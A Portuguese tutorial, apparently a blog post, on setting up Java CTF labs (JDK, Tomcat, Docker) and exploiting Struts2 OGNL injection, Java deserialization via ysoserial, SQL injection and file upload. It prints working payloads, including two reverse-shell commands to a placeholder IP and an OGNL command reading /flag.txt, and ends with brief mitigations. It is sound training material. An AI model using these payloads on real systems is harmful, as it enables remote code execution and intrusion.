Guia Prático para Ambientes Java em CTF: Configuração e Exploração de Vulnerabilidades

Importância dos Ambientes Java em CTF

Em competições de CTF (Capture The Flag), ambientes Java se destacam devido à sua ampla adoção em aplicações corporativas e à complexidade das vulnerabilidades associadas. Questões frequentes envolvem frameworks como Struts2 e Spring, onde falhas como execução de comandos e desserialização insegura são exploradas. A familiaridade com especificidades de versões do JDK e configurações de frameworks é crucial para resolução eficaz.

Configuração de Ambiente para Testes

Para simular ambientes Java em CTF, utilize máquinas virtuais ou containers. Recomenda-se CentOS ou Ubuntu com JDK 8 instalado. Extraia o JDK e configure as variáveis de ambiente:


tar -zxvf jdk-8u301-linux-x64.tar.gz -C /opt/
echo 'export JAVA_HOME=/opt/jdk1.8.0_301' >> /etc/profile
echo 'export PATH=$JAVA_HOME/bin:$PATH' >> /etc/profile
source /etc/profile

Instale o Tomcat baixando a versão 8.5 e iniciando o serviço. Para Spring Boot, crie um projeto com Maven e execute o JAR resultante.

Uso de Docker para Isolamento

Docker facilita a criação de ambientes isolados. Crie um Dockerfile para Struts2:


FROM tomcat:8.5-jdk8-openjdk
ADD struts2-showcase.war /usr/local/tomcat/webapps/

Utilize Docker Compose para gerenciar múltiplos serviços. Exemplo de configuração:


version: '3'
services:
  web-app:
    build: ./struts2-env
    ports:
      - "8080:8080"

Exploração de Vulnerabilidades Comuns

Desserialziação Inssegura

Ao desserializar dados não confiáveis com ObjectInputStream.readObject(), objetos maliciosos podem executar código. Ferramentas como ysoserial geram payloads para bibliotecas como Apache Commons Collections:


java -jar ysoserial.jar CommonsCollections1 "comando" > payload.bin

Execução de Comandos via Struts2

Falhas na expressão OGNL permitem injeção de código. Em vulnerabilidades como S2-045, cabeçalhos HTTP são manipulados para executar comandos. Exemplo de payload para obter uma shell reversa:


%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('saida',(new java.lang.ProcessBuilder('bash','-c','bash -i >& /dev/tcp/IP/PORTA 0>&1')).start().inputStream.readAllBytes())}

Injeção de SQL em Aplicações Java

Consultas SQL construídas com concatenação são vulneráveis. Evite Statement em favor de PreparedStatement. Exemplo de código vulnerável:


String query = "SELECT * FROM users WHERE name = '" + inputName + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Upload de Arquivos Maliciosos

Bypass de verificações de extensão ou conteúdo permite upload de JSP com código arbitrário. Técnicas incluem alteração de MIME type ou adição de cabeçalhos de imagem.

Casos Práticos de Exploração

Exemplo com S2-045

Para uma aplicação Struts2 2.3.31 vulnerável, intercepte requisições via Burp Suite. Modifique o cabeçalho Content-Type com um payload OGNL para ler arquivos sensíveis:


%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('resultado',(new java.lang.ProcessBuilder('cat','/flag.txt')).start().inputStream.readAllBytes())}

A resposta conterá o conteúdo desejado no cabeçalho resultado.

Obtenção de Shell via Desserialização

Em aplicações com Apache Commons Collections 3.1, gere um payload para shell reversa:


java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,SEU_BASE64}|{base64,-d}|{bash,-i}" > payload.ser

Envie o arquivo serializado e escute a conexão na porta especificada.

Estratégias de Defesa e Aprimoramento

Para mitigar vulnerabilidades, atualize frameworks regularmente e utilize filtros de desserialização (como ObjectInputFilter em JDK 9+). Implemente validação rigorosa de entradas e utilize listas brancas para upload de arquivos. Estude fontes de frameworks como Spring Security e pratique em plataformas como Hack The Box para consolidar habilidades em CTF.

Tags: CTF java Segurança Web Desserialização Struts2

Publicado em 6-28 09:51